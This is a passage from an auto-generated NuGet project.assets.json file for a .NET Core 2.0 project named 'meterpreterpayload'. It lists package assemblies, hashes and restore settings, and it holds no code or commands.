"ref/netcoreapp2.0/System.ComponentModel.Composition.dll", 242 | "ref/netcoreapp2.0/System.ComponentModel.DataAnnotations.dll", 243 | "ref/netcoreapp2.0/System.ComponentModel.EventBasedAsync.dll", 244 | "ref/netcoreapp2.0/System.ComponentModel.EventBasedAsync.xml", 245 | "ref/netcoreapp2.0/System.ComponentModel.Primitives.dll", 246 | "ref/netcoreapp2.0/System.ComponentModel.Primitives.xml", 247 | "ref/netcoreapp2.0/System.ComponentModel.TypeConverter.dll", 248 | "ref/netcoreapp2.0/System.ComponentModel.TypeConverter.xml", 249 | "ref/netcoreapp2.0/System.ComponentModel.dll", 250 | "ref/netcoreapp2.0/System.ComponentModel.xml", 251 | "ref/netcoreapp2.0/System.Configuration.dll", 252 | "ref/netcoreapp2.0/System.Console.dll", 253 | "ref/netcoreapp2.0/System.Console.xml", 254 | "ref/netcoreapp2.0/System.Core.dll", 255 | "ref/netcoreapp2.0/System.Data.Common.dll", 256 | "ref/netcoreapp2.0/System.Data.Common.xml", 257 | "ref/netcoreapp2.0/System.Data.dll", 258 | "ref/netcoreapp2.0/System.Diagnostics.Contracts.dll", 259 | "ref/netcoreapp2.0/System.Diagnostics.Contracts.xml", 260 | "ref/netcoreapp2.0/System.Diagnostics.Debug.dll", 261 | "ref/netcoreapp2.0/System.Diagnostics.Debug.xml", 262 | "ref/netcoreapp2.0/System.Diagnostics.DiagnosticSource.dll", 263 | "ref/netcoreapp2.0/System.Diagnostics.DiagnosticSource.xml", 264 | "ref/netcoreapp2.0/System.Diagnostics.FileVersionInfo.dll", 265 | "ref/netcoreapp2.0/System.Diagnostics.FileVersionInfo.xml", 266 | "ref/netcoreapp2.0/System.Diagnostics.Process.dll", 267 | "ref/netcoreapp2.0/System.Diagnostics.Process.xml", 268 | "ref/netcoreapp2.0/System.Diagnostics.StackTrace.dll", 269 | "ref/netcoreapp2.0/System.Diagnostics.StackTrace.xml", 270 | "ref/netcoreapp2.0/System.Diagnostics.TextWriterTraceListener.dll", 271 | "ref/netcoreapp2.0/System.Diagnostics.TextWriterTraceListener.xml", 272 | "ref/netcoreapp2.0/System.Diagnostics.Tools.dll", 273 | "ref/netcoreapp2.0/System.Diagnostics.Tools.xml", 274 | "ref/netcoreapp2.0/System.Diagnostics.TraceSource.dll", 275 | "ref/netcoreapp2.0/System.Diagnostics.TraceSource.xml", 276 | "ref/netcoreapp2.0/System.Diagnostics.Tracing.dll", 277 | "ref/netcoreapp2.0/System.Diagnostics.Tracing.xml", 278 | "ref/netcoreapp2.0/System.Drawing.Primitives.dll", 279 | "ref/netcoreapp2.0/System.Drawing.Primitives.xml", 280 | "ref/netcoreapp2.0/System.Drawing.dll", 281 | "ref/netcoreapp2.0/System.Dynamic.Runtime.dll", 282 | "ref/netcoreapp2.0/System.Dynamic.Runtime.xml", 283 | "ref/netcoreapp2.0/System.Globalization.Calendars.dll", 284 | "ref/netcoreapp2.0/System.Globalization.Calendars.xml", 285 | "ref/netcoreapp2.0/System.Globalization.Extensions.dll", 286 | "ref/netcoreapp2.0/System.Globalization.Extensions.xml", 287 | "ref/netcoreapp2.0/System.Globalization.dll", 288 | "ref/netcoreapp2.0/System.Globalization.xml", 289 | "ref/netcoreapp2.0/System.IO.Compression.FileSystem.dll", 290 | "ref/netcoreapp2.0/System.IO.Compression.ZipFile.dll", 291 | "ref/netcoreapp2.0/System.IO.Compression.ZipFile.xml", 292 | "ref/netcoreapp2.0/System.IO.Compression.dll", 293 | "ref/netcoreapp2.0/System.IO.Compression.xml", 294 | "ref/netcoreapp2.0/System.IO.FileSystem.DriveInfo.dll", 295 | "ref/netcoreapp2.0/System.IO.FileSystem.DriveInfo.xml", 296 | "ref/netcoreapp2.0/System.IO.FileSystem.Primitives.dll", 297 | "ref/netcoreapp2.0/System.IO.FileSystem.Primitives.xml", 298 | "ref/netcoreapp2.0/System.IO.FileSystem.Watcher.dll", 299 | "ref/netcoreapp2.0/System.IO.FileSystem.Watcher.xml", 300 | "ref/netcoreapp2.0/System.IO.FileSystem.dll", 301 | "ref/netcoreapp2.0/System.IO.FileSystem.xml", 302 | "ref/netcoreapp2.0/System.IO.IsolatedStorage.dll", 303 | "ref/netcoreapp2.0/System.IO.IsolatedStorage.xml", 304 | "ref/netcoreapp2.0/System.IO.MemoryMappedFiles.dll", 305 | "ref/netcoreapp2.0/System.IO.MemoryMappedFiles.xml", 306 | "ref/netcoreapp2.0/System.IO.Pipes.dll", 307 | "ref/netcoreapp2.0/System.IO.Pipes.xml", 308 | "ref/netcoreapp2.0/System.IO.UnmanagedMemoryStream.dll", 309 | "ref/netcoreapp2.0/System.IO.UnmanagedMemoryStream.xml", 310 | "ref/netcoreapp2.0/System.IO.dll", 311 | "ref/netcoreapp2.0/System.IO.xml", 312 | "ref/netcoreapp2.0/System.Linq.Expressions.dll", 313 | "ref/netcoreapp2.0/System.Linq.Expressions.xml", 314 | "ref/netcoreapp2.0/System.Linq.Parallel.dll", 315 | "ref/netcoreapp2.0/System.Linq.Parallel.xml", 316 | "ref/netcoreapp2.0/System.Linq.Queryable.dll", 317 | "ref/netcoreapp2.0/System.Linq.Queryable.xml", 318 | "ref/netcoreapp2.0/System.Linq.dll", 319 | "ref/netcoreapp2.0/System.Linq.xml", 320 | "ref/netcoreapp2.0/System.Net.Http.dll", 321 | "ref/netcoreapp2.0/System.Net.Http.xml", 322 | "ref/netcoreapp2.0/System.Net.HttpListener.dll", 323 | "ref/netcoreapp2.0/System.Net.HttpListener.xml", 324 | "ref/netcoreapp2.0/System.Net.Mail.dll", 325 | "ref/netcoreapp2.0/System.Net.Mail.xml", 326 | "ref/netcoreapp2.0/System.Net.NameResolution.dll", 327 | "ref/netcoreapp2.0/System.Net.NameResolution.xml", 328 | "ref/netcoreapp2.0/System.Net.NetworkInformation.dll", 329 | "ref/netcoreapp2.0/System.Net.NetworkInformation.xml", 330 | "ref/netcoreapp2.0/System.Net.Ping.dll", 331 | "ref/netcoreapp2.0/System.Net.Ping.xml", 332 | "ref/netcoreapp2.0/System.Net.Primitives.dll", 333 | "ref/netcoreapp2.0/System.Net.Primitives.xml", 334 | "ref/netcoreapp2.0/System.Net.Requests.dll", 335 | "ref/netcoreapp2.0/System.Net.Requests.xml", 336 | "ref/netcoreapp2.0/System.Net.Security.dll", 337 | "ref/netcoreapp2.0/System.Net.Security.xml", 338 | "ref/netcoreapp2.0/System.Net.ServicePoint.dll", 339 | "ref/netcoreapp2.0/System.Net.ServicePoint.xml", 340 | "ref/netcoreapp2.0/System.Net.Sockets.dll", 341 | "ref/netcoreapp2.0/System.Net.Sockets.xml", 342 | "ref/netcoreapp2.0/System.Net.WebClient.dll", 343 | "ref/netcoreapp2.0/System.Net.WebClient.xml", 344 | "ref/netcoreapp2.0/System.Net.WebHeaderCollection.dll", 345 | "ref/netcoreapp2.0/System.Net.WebHeaderCollection.xml", 346 | "ref/netcoreapp2.0/System.Net.WebProxy.dll", 347 | "ref/netcoreapp2.0/System.Net.WebProxy.xml", 348 | "ref/netcoreapp2.0/System.Net.WebSockets.Client.dll", 349 | "ref/netcoreapp2.0/System.Net.WebSockets.Client.xml", 350 | "ref/netcoreapp2.0/System.Net.WebSockets.dll", 351 | "ref/netcoreapp2.0/System.Net.WebSockets.xml", 352 | "ref/netcoreapp2.0/System.Net.dll", 353 | "ref/netcoreapp2.0/System.Numerics.Vectors.dll", 354 | "ref/netcoreapp2.0/System.Numerics.Vectors.xml", 355 | "ref/netcoreapp2.0/System.Numerics.dll", 356 | "ref/netcoreapp2.0/System.ObjectModel.dll", 357 | "ref/netcoreapp2.0/System.ObjectModel.xml", 358 | "ref/netcoreapp2.0/System.Reflection.DispatchProxy.dll", 359 | "ref/netcoreapp2.0/System.Reflection.DispatchProxy.xml", 360 | "ref/netcoreapp2.0/System.Reflection.Emit.ILGeneration.dll", 361 | "ref/netcoreapp2.0/System.Reflection.Emit.ILGeneration.xml", 362 | "ref/netcoreapp2.0/System.Reflection.Emit.Lightweight.dll", 363 | "ref/netcoreapp2.0/System.Reflection.Emit.Lightweight.xml", 364 | "ref/netcoreapp2.0/System.Reflection.Emit.dll", 365 | "ref/netcoreapp2.0/System.Reflection.Emit.xml", 366 | "ref/netcoreapp2.0/System.Reflection.Extensions.dll", 367 | "ref/netcoreapp2.0/System.Reflection.Extensions.xml", 368 | "ref/netcoreapp2.0/System.Reflection.Metadata.dll", 369 | "ref/netcoreapp2.0/System.Reflection.Metadata.xml", 370 | "ref/netcoreapp2.0/System.Reflection.Primitives.dll", 371 | "ref/netcoreapp2.0/System.Reflection.Primitives.xml", 372 | "ref/netcoreapp2.0/System.Reflection.TypeExtensions.dll", 373 | "ref/netcoreapp2.0/System.Reflection.TypeExtensions.xml", 374 | "ref/netcoreapp2.0/System.Reflection.dll", 375 | "ref/netcoreapp2.0/System.Reflection.xml", 376 | "ref/netcoreapp2.0/System.Resources.Reader.dll", 377 | "ref/netcoreapp2.0/System.Resources.Reader.xml", 378 | "ref/netcoreapp2.0/System.Resources.ResourceManager.dll", 379 | "ref/netcoreapp2.0/System.Resources.ResourceManager.xml", 380 | "ref/netcoreapp2.0/System.Resources.Writer.dll", 381 | "ref/netcoreapp2.0/System.Resources.Writer.xml", 382 | "ref/netcoreapp2.0/System.Runtime.CompilerServices.VisualC.dll", 383 | "ref/netcoreapp2.0/System.Runtime.CompilerServices.VisualC.xml", 384 | "ref/netcoreapp2.0/System.Runtime.Extensions.dll", 385 | "ref/netcoreapp2.0/System.Runtime.Extensions.xml", 386 | "ref/netcoreapp2.0/System.Runtime.Handles.dll", 387 | "ref/netcoreapp2.0/System.Runtime.Handles.xml", 388 | "ref/netcoreapp2.0/System.Runtime.InteropServices.RuntimeInformation.dll", 389 | "ref/netcoreapp2.0/System.Runtime.InteropServices.RuntimeInformation.xml", 390 | "ref/netcoreapp2.0/System.Runtime.InteropServices.WindowsRuntime.dll", 391 | "ref/netcoreapp2.0/System.Runtime.InteropServices.WindowsRuntime.xml", 392 | "ref/netcoreapp2.0/System.Runtime.InteropServices.dll", 393 | "ref/netcoreapp2.0/System.Runtime.InteropServices.xml", 394 | "ref/netcoreapp2.0/System.Runtime.Loader.dll", 395 | "ref/netcoreapp2.0/System.Runtime.Loader.xml", 396 | "ref/netcoreapp2.0/System.Runtime.Numerics.dll", 397 | "ref/netcoreapp2.0/System.Runtime.Numerics.xml", 398 | "ref/netcoreapp2.0/System.Runtime.Serialization.Formatters.dll", 399 | "ref/netcoreapp2.0/System.Runtime.Serialization.Formatters.xml", 400 | "ref/netcoreapp2.0/System.Runtime.Serialization.Json.dll", 401 | "ref/netcoreapp2.0/System.Runtime.Serialization.Json.xml", 402 | "ref/netcoreapp2.0/System.Runtime.Serialization.Primitives.dll", 403 | "ref/netcoreapp2.0/System.Runtime.Serialization.Primitives.xml", 404 | "ref/netcoreapp2.0/System.Runtime.Serialization.Xml.dll", 405 | "ref/netcoreapp2.0/System.Runtime.Serialization.Xml.xml", 406 | "ref/netcoreapp2.0/System.Runtime.Serialization.dll", 407 | "ref/netcoreapp2.0/System.Runtime.dll", 408 | "ref/netcoreapp2.0/System.Runtime.xml", 409 | "ref/netcoreapp2.0/System.Security.Claims.dll", 410 | "ref/netcoreapp2.0/System.Security.Claims.xml", 411 | "ref/netcoreapp2.0/System.Security.Cryptography.Algorithms.dll", 412 | "ref/netcoreapp2.0/System.Security.Cryptography.Algorithms.xml", 413 | "ref/netcoreapp2.0/System.Security.Cryptography.Csp.dll", 414 | "ref/netcoreapp2.0/System.Security.Cryptography.Csp.xml", 415 | "ref/netcoreapp2.0/System.Security.Cryptography.Encoding.dll", 416 | "ref/netcoreapp2.0/System.Security.Cryptography.Encoding.xml", 417 | "ref/netcoreapp2.0/System.Security.Cryptography.Primitives.dll", 418 | "ref/netcoreapp2.0/System.Security.Cryptography.Primitives.xml", 419 | "ref/netcoreapp2.0/System.Security.Cryptography.X509Certificates.dll", 420 | "ref/netcoreapp2.0/System.Security.Cryptography.X509Certificates.xml", 421 | "ref/netcoreapp2.0/System.Security.Principal.dll", 422 | "ref/netcoreapp2.0/System.Security.Principal.xml", 423 | "ref/netcoreapp2.0/System.Security.SecureString.dll", 424 | "ref/netcoreapp2.0/System.Security.SecureString.xml", 425 | "ref/netcoreapp2.0/System.Security.dll", 426 | "ref/netcoreapp2.0/System.ServiceModel.Web.dll", 427 | "ref/netcoreapp2.0/System.ServiceProcess.dll", 428 | "ref/netcoreapp2.0/System.Text.Encoding.Extensions.dll", 429 | "ref/netcoreapp2.0/System.Text.Encoding.Extensions.xml", 430 | "ref/netcoreapp2.0/System.Text.Encoding.dll", 431 | "ref/netcoreapp2.0/System.Text.Encoding.xml", 432 | "ref/netcoreapp2.0/System.Text.RegularExpressions.dll", 433 | "ref/netcoreapp2.0/System.Text.RegularExpressions.xml", 434 | "ref/netcoreapp2.0/System.Threading.Overlapped.dll", 435 | "ref/netcoreapp2.0/System.Threading.Overlapped.xml", 436 | "ref/netcoreapp2.0/System.Threading.Tasks.Dataflow.dll", 437 | "ref/netcoreapp2.0/System.Threading.Tasks.Dataflow.xml", 438 | "ref/netcoreapp2.0/System.Threading.Tasks.Extensions.dll", 439 | "ref/netcoreapp2.0/System.Threading.Tasks.Extensions.xml", 440 | "ref/netcoreapp2.0/System.Threading.Tasks.Parallel.dll", 441 | "ref/netcoreapp2.0/System.Threading.Tasks.Parallel.xml", 442 | "ref/netcoreapp2.0/System.Threading.Tasks.dll", 443 | "ref/netcoreapp2.0/System.Threading.Tasks.xml", 444 | "ref/netcoreapp2.0/System.Threading.Thread.dll", 445 | "ref/netcoreapp2.0/System.Threading.Thread.xml", 446 | "ref/netcoreapp2.0/System.Threading.ThreadPool.dll", 447 | "ref/netcoreapp2.0/System.Threading.ThreadPool.xml", 448 | "ref/netcoreapp2.0/System.Threading.Timer.dll", 449 | "ref/netcoreapp2.0/System.Threading.Timer.xml", 450 | "ref/netcoreapp2.0/System.Threading.dll", 451 | "ref/netcoreapp2.0/System.Threading.xml", 452 | "ref/netcoreapp2.0/System.Transactions.Local.dll", 453 | "ref/netcoreapp2.0/System.Transactions.Local.xml", 454 | "ref/netcoreapp2.0/System.Transactions.dll", 455 | "ref/netcoreapp2.0/System.ValueTuple.dll", 456 | "ref/netcoreapp2.0/System.ValueTuple.xml", 457 | "ref/netcoreapp2.0/System.Web.HttpUtility.dll", 458 | "ref/netcoreapp2.0/System.Web.HttpUtility.xml", 459 | "ref/netcoreapp2.0/System.Web.dll", 460 | "ref/netcoreapp2.0/System.Windows.dll", 461 | "ref/netcoreapp2.0/System.Xml.Linq.dll", 462 | "ref/netcoreapp2.0/System.Xml.ReaderWriter.dll", 463 | "ref/netcoreapp2.0/System.Xml.ReaderWriter.xml", 464 | "ref/netcoreapp2.0/System.Xml.Serialization.dll", 465 | "ref/netcoreapp2.0/System.Xml.XDocument.dll", 466 | "ref/netcoreapp2.0/System.Xml.XDocument.xml", 467 | "ref/netcoreapp2.0/System.Xml.XPath.XDocument.dll", 468 | "ref/netcoreapp2.0/System.Xml.XPath.XDocument.xml", 469 | "ref/netcoreapp2.0/System.Xml.XPath.dll", 470 | "ref/netcoreapp2.0/System.Xml.XPath.xml", 471 | "ref/netcoreapp2.0/System.Xml.XmlDocument.dll", 472 | "ref/netcoreapp2.0/System.Xml.XmlDocument.xml", 473 | "ref/netcoreapp2.0/System.Xml.XmlSerializer.dll", 474 | "ref/netcoreapp2.0/System.Xml.XmlSerializer.xml", 475 | "ref/netcoreapp2.0/System.Xml.dll", 476 | "ref/netcoreapp2.0/System.dll", 477 | "ref/netcoreapp2.0/WindowsBase.dll", 478 | "ref/netcoreapp2.0/mscorlib.dll", 479 | "ref/netcoreapp2.0/netstandard.dll", 480 | "runtime.json" 481 | ] 482 | }, 483 | "Microsoft.NETCore.DotNetAppHost/2.0.0": { 484 | "sha512": "L4GGkcI/Mxl8PKLRpFdGmLb5oI8sGIR05bDTGkzCoamAjdUl1Zhkov2swjEsZvKYT8kkdiz39LtwyGYuCJxm1A==", 485 | "type": "package", 486 | "path": "microsoft.netcore.dotnetapphost/2.0.0", 487 | "files": [ 488 | ".nupkg.metadata", 489 | ".signature.p7s", 490 | "LICENSE.TXT", 491 | "THIRD-PARTY-NOTICES.TXT", 492 | "microsoft.netcore.dotnetapphost.2.0.0.nupkg.sha512", 493 | "microsoft.netcore.dotnetapphost.nuspec", 494 | "runtime.json" 495 | ] 496 | }, 497 | "Microsoft.NETCore.DotNetHostPolicy/2.0.0": { 498 | "sha512": "rm7mMn0A93fwyAwVhbyOCcPuu2hZNL0A0dAur9sNG9pEkONPfCEQeF7m2mC8KpqZO0Ol6tpV5J0AF3HTXT3GXA==", 499 | "type": "package", 500 | "path": "microsoft.netcore.dotnethostpolicy/2.0.0", 501 | "files": [ 502 | ".nupkg.metadata", 503 | ".signature.p7s", 504 | "LICENSE.TXT", 505 | "THIRD-PARTY-NOTICES.TXT", 506 | "microsoft.netcore.dotnethostpolicy.2.0.0.nupkg.sha512", 507 | "microsoft.netcore.dotnethostpolicy.nuspec", 508 | "runtime.json" 509 | ] 510 | }, 511 | "Microsoft.NETCore.DotNetHostResolver/2.0.0": { 512 | "sha512": "uBbjpeSrwsaTCADZCzRk+3aBzNnMqkC4zftJWBsL+Zk+8u+W+/lMb2thM5Y4hiVrv1YQg9t6dKldXzOKkY+pQw==", 513 | "type": "package", 514 | "path": "microsoft.netcore.dotnethostresolver/2.0.0", 515 | "files": [ 516 | ".nupkg.metadata", 517 | ".signature.p7s", 518 | "LICENSE.TXT", 519 | "THIRD-PARTY-NOTICES.TXT", 520 | "microsoft.netcore.dotnethostresolver.2.0.0.nupkg.sha512", 521 | "microsoft.netcore.dotnethostresolver.nuspec", 522 | "runtime.json" 523 | ] 524 | }, 525 | "Microsoft.NETCore.Platforms/2.0.0": { 526 | "sha512": "VdLJOCXhZaEMY7Hm2GKiULmn7IEPFE4XC5LPSfBVCUIA8YLZVh846gtfBJalsPQF2PlzdD7ecX7DZEulJ402ZQ==", 527 | "type": "package", 528 | "path": "microsoft.netcore.platforms/2.0.0", 529 | "files": [ 530 | ".nupkg.metadata", 531 | ".signature.p7s", 532 | "LICENSE.TXT", 533 | "THIRD-PARTY-NOTICES.TXT", 534 | "lib/netstandard1.0/_._", 535 | "microsoft.netcore.platforms.2.0.0.nupkg.sha512", 536 | "microsoft.netcore.platforms.nuspec", 537 | "runtime.json", 538 | "useSharedDesignerContext.txt", 539 | "version.txt" 540 | ] 541 | }, 542 | "NETStandard.Library/2.0.0": { 543 | "sha512": "7jnbRU+L08FXKMxqUflxEXtVymWvNOrS8yHgu9s6EM8Anr6T/wIX4nZ08j/u3Asz+tCufp3YVwFSEvFTPYmBPA==", 544 | "type": "package", 545 | "path": "netstandard.library/2.0.0", 546 | "files": [ 547 | ".nupkg.metadata", 548 | ".signature.p7s", 549 | "LICENSE.TXT", 550 | "THIRD-PARTY-NOTICES.TXT", 551 | "build/NETStandard.Library.targets", 552 | "build/netstandard2.0/NETStandard.Library.targets", 553 | "build/netstandard2.0/ref/Microsoft.Win32.Primitives.dll", 554 | "build/netstandard2.0/ref/System.AppContext.dll", 555 | "build/netstandard2.0/ref/System.Collections.Concurrent.dll", 556 | "build/netstandard2.0/ref/System.Collections.NonGeneric.dll", 557 | "build/netstandard2.0/ref/System.Collections.Specialized.dll", 558 | "build/netstandard2.0/ref/System.Collections.dll", 559 | "build/netstandard2.0/ref/System.ComponentModel.Composition.dll", 560 | "build/netstandard2.0/ref/System.ComponentModel.EventBasedAsync.dll", 561 | "build/netstandard2.0/ref/System.ComponentModel.Primitives.dll", 562 | "build/netstandard2.0/ref/System.ComponentModel.TypeConverter.dll", 563 | "build/netstandard2.0/ref/System.ComponentModel.dll", 564 | "build/netstandard2.0/ref/System.Console.dll", 565 | "build/netstandard2.0/ref/System.Core.dll", 566 | "build/netstandard2.0/ref/System.Data.Common.dll", 567 | "build/netstandard2.0/ref/System.Data.dll", 568 | "build/netstandard2.0/ref/System.Diagnostics.Contracts.dll", 569 | "build/netstandard2.0/ref/System.Diagnostics.Debug.dll", 570 | "build/netstandard2.0/ref/System.Diagnostics.FileVersionInfo.dll", 571 | "build/netstandard2.0/ref/System.Diagnostics.Process.dll", 572 | "build/netstandard2.0/ref/System.Diagnostics.StackTrace.dll", 573 | "build/netstandard2.0/ref/System.Diagnostics.TextWriterTraceListener.dll", 574 | "build/netstandard2.0/ref/System.Diagnostics.Tools.dll", 575 | "build/netstandard2.0/ref/System.Diagnostics.TraceSource.dll", 576 | "build/netstandard2.0/ref/System.Diagnostics.Tracing.dll", 577 | "build/netstandard2.0/ref/System.Drawing.Primitives.dll", 578 | "build/netstandard2.0/ref/System.Drawing.dll", 579 | "build/netstandard2.0/ref/System.Dynamic.Runtime.dll", 580 | "build/netstandard2.0/ref/System.Globalization.Calendars.dll", 581 | "build/netstandard2.0/ref/System.Globalization.Extensions.dll", 582 | "build/netstandard2.0/ref/System.Globalization.dll", 583 | "build/netstandard2.0/ref/System.IO.Compression.FileSystem.dll", 584 | "build/netstandard2.0/ref/System.IO.Compression.ZipFile.dll", 585 | "build/netstandard2.0/ref/System.IO.Compression.dll", 586 | "build/netstandard2.0/ref/System.IO.FileSystem.DriveInfo.dll", 587 | "build/netstandard2.0/ref/System.IO.FileSystem.Primitives.dll", 588 | "build/netstandard2.0/ref/System.IO.FileSystem.Watcher.dll", 589 | "build/netstandard2.0/ref/System.IO.FileSystem.dll", 590 | "build/netstandard2.0/ref/System.IO.IsolatedStorage.dll", 591 | "build/netstandard2.0/ref/System.IO.MemoryMappedFiles.dll", 592 | "build/netstandard2.0/ref/System.IO.Pipes.dll", 593 | "build/netstandard2.0/ref/System.IO.UnmanagedMemoryStream.dll", 594 | "build/netstandard2.0/ref/System.IO.dll", 595 | "build/netstandard2.0/ref/System.Linq.Expressions.dll", 596 | "build/netstandard2.0/ref/System.Linq.Parallel.dll", 597 | "build/netstandard2.0/ref/System.Linq.Queryable.dll", 598 | "build/netstandard2.0/ref/System.Linq.dll", 599 | "build/netstandard2.0/ref/System.Net.Http.dll", 600 | "build/netstandard2.0/ref/System.Net.NameResolution.dll", 601 | "build/netstandard2.0/ref/System.Net.NetworkInformation.dll", 602 | "build/netstandard2.0/ref/System.Net.Ping.dll", 603 | "build/netstandard2.0/ref/System.Net.Primitives.dll", 604 | "build/netstandard2.0/ref/System.Net.Requests.dll", 605 | "build/netstandard2.0/ref/System.Net.Security.dll", 606 | "build/netstandard2.0/ref/System.Net.Sockets.dll", 607 | "build/netstandard2.0/ref/System.Net.WebHeaderCollection.dll", 608 | "build/netstandard2.0/ref/System.Net.WebSockets.Client.dll", 609 | "build/netstandard2.0/ref/System.Net.WebSockets.dll", 610 | "build/netstandard2.0/ref/System.Net.dll", 611 | "build/netstandard2.0/ref/System.Numerics.dll", 612 | "build/netstandard2.0/ref/System.ObjectModel.dll", 613 | "build/netstandard2.0/ref/System.Reflection.Extensions.dll", 614 | "build/netstandard2.0/ref/System.Reflection.Primitives.dll", 615 | "build/netstandard2.0/ref/System.Reflection.dll", 616 | "build/netstandard2.0/ref/System.Resources.Reader.dll", 617 | "build/netstandard2.0/ref/System.Resources.ResourceManager.dll", 618 | "build/netstandard2.0/ref/System.Resources.Writer.dll", 619 | "build/netstandard2.0/ref/System.Runtime.CompilerServices.VisualC.dll", 620 | "build/netstandard2.0/ref/System.Runtime.Extensions.dll", 621 | "build/netstandard2.0/ref/System.Runtime.Handles.dll", 622 | "build/netstandard2.0/ref/System.Runtime.InteropServices.RuntimeInformation.dll", 623 | "build/netstandard2.0/ref/System.Runtime.InteropServices.dll", 624 | "build/netstandard2.0/ref/System.Runtime.Numerics.dll", 625 | "build/netstandard2.0/ref/System.Runtime.Serialization.Formatters.dll", 626 | "build/netstandard2.0/ref/System.Runtime.Serialization.Json.dll", 627 | "build/netstandard2.0/ref/System.Runtime.Serialization.Primitives.dll", 628 | "build/netstandard2.0/ref/System.Runtime.Serialization.Xml.dll", 629 | "build/netstandard2.0/ref/System.Runtime.Serialization.dll", 630 | "build/netstandard2.0/ref/System.Runtime.dll", 631 | "build/netstandard2.0/ref/System.Security.Claims.dll", 632 | "build/netstandard2.0/ref/System.Security.Cryptography.Algorithms.dll", 633 | "build/netstandard2.0/ref/System.Security.Cryptography.Csp.dll", 634 | "build/netstandard2.0/ref/System.Security.Cryptography.Encoding.dll", 635 | "build/netstandard2.0/ref/System.Security.Cryptography.Primitives.dll", 636 | "build/netstandard2.0/ref/System.Security.Cryptography.X509Certificates.dll", 637 | "build/netstandard2.0/ref/System.Security.Principal.dll", 638 | "build/netstandard2.0/ref/System.Security.SecureString.dll", 639 | "build/netstandard2.0/ref/System.ServiceModel.Web.dll", 640 | "build/netstandard2.0/ref/System.Text.Encoding.Extensions.dll", 641 | "build/netstandard2.0/ref/System.Text.Encoding.dll", 642 | "build/netstandard2.0/ref/System.Text.RegularExpressions.dll", 643 | "build/netstandard2.0/ref/System.Threading.Overlapped.dll", 644 | "build/netstandard2.0/ref/System.Threading.Tasks.Parallel.dll", 645 | "build/netstandard2.0/ref/System.Threading.Tasks.dll", 646 | "build/netstandard2.0/ref/System.Threading.Thread.dll", 647 | "build/netstandard2.0/ref/System.Threading.ThreadPool.dll", 648 | "build/netstandard2.0/ref/System.Threading.Timer.dll", 649 | "build/netstandard2.0/ref/System.Threading.dll", 650 | "build/netstandard2.0/ref/System.Transactions.dll", 651 | "build/netstandard2.0/ref/System.ValueTuple.dll", 652 | "build/netstandard2.0/ref/System.Web.dll", 653 | "build/netstandard2.0/ref/System.Windows.dll", 654 | "build/netstandard2.0/ref/System.Xml.Linq.dll", 655 | "build/netstandard2.0/ref/System.Xml.ReaderWriter.dll", 656 | "build/netstandard2.0/ref/System.Xml.Serialization.dll", 657 | "build/netstandard2.0/ref/System.Xml.XDocument.dll", 658 | "build/netstandard2.0/ref/System.Xml.XPath.XDocument.dll", 659 | "build/netstandard2.0/ref/System.Xml.XPath.dll", 660 | "build/netstandard2.0/ref/System.Xml.XmlDocument.dll", 661 | "build/netstandard2.0/ref/System.Xml.XmlSerializer.dll", 662 | "build/netstandard2.0/ref/System.Xml.dll", 663 | "build/netstandard2.0/ref/System.dll", 664 | "build/netstandard2.0/ref/mscorlib.dll", 665 | "build/netstandard2.0/ref/netstandard.dll", 666 | "build/netstandard2.0/ref/netstandard.xml", 667 | "lib/netstandard1.0/_._", 668 | "netstandard.library.2.0.0.nupkg.sha512", 669 | "netstandard.library.nuspec" 670 | ] 671 | } 672 | }, 673 | "projectFileDependencyGroups": { 674 | ".NETCoreApp,Version=v2.0": [ 675 | "Microsoft.NETCore.App >= 2.0.0" 676 | ] 677 | }, 678 | "packageFolders": { 679 | "/home/ashr/.nuget/packages/": {}, 680 | "/usr/share/dotnet/sdk/NuGetFallbackFolder": {} 681 | }, 682 | "project": { 683 | "version": "1.0.0", 684 | "restore": { 685 | "projectUniqueName": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj", 686 | "projectName": "meterpreterpayload", 687 | "projectPath": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/meterpreterpayload.csproj", 688 | "packagesPath": "/home/ashr/.nuget/packages/", 689 | "outputPath": "/home/ashr/dev/customShit/Code/netrefject-git/meterpreterpayload/obj/", 690 | "projectStyle": "PackageReference", 691 | "fallbackFolders": [ 692 | "/usr/share/dotnet/sdk/NuGetFallbackFolder" 693 | ], 694 | "configFilePaths": [ 695 | "/home/ashr/.nuget/NuGet/NuGet.Config" 696 | ], 697 | "originalTargetFrameworks": [ 698 | "netcoreapp2.0" 699 | ], 700 | "sources": { 701 | "https://api.nuget.org/v3/index.json": {} 702 | }, 703 | "frameworks": { 704 | "netcoreapp2.0": { 705 | "projectReferences": {} 706 | } 707 | }, 708 | "warningProperties": { 709 | "warnAsError": [ 710 | "NU1605" 711 | ] 712 | } 713 | }, 714 | "frameworks": { 715 | "netcoreapp2.0": { 716 | "dependencies": { 717 | "Microsoft.NETCore.App": { 718 | "suppressParent": "All", 719 | "target": "Package", 720 | "version": "[2.0.0, )", 721 | "autoReferenced": true 722 | } 723 | }, 724 | "imports": [ 725 | "net461" 726 | ], 727 | "assetTargetFallback": true, 728 | "warn": true 729 | } 730 | } 731 | } 732 | } --------------------------------------------------------------------------------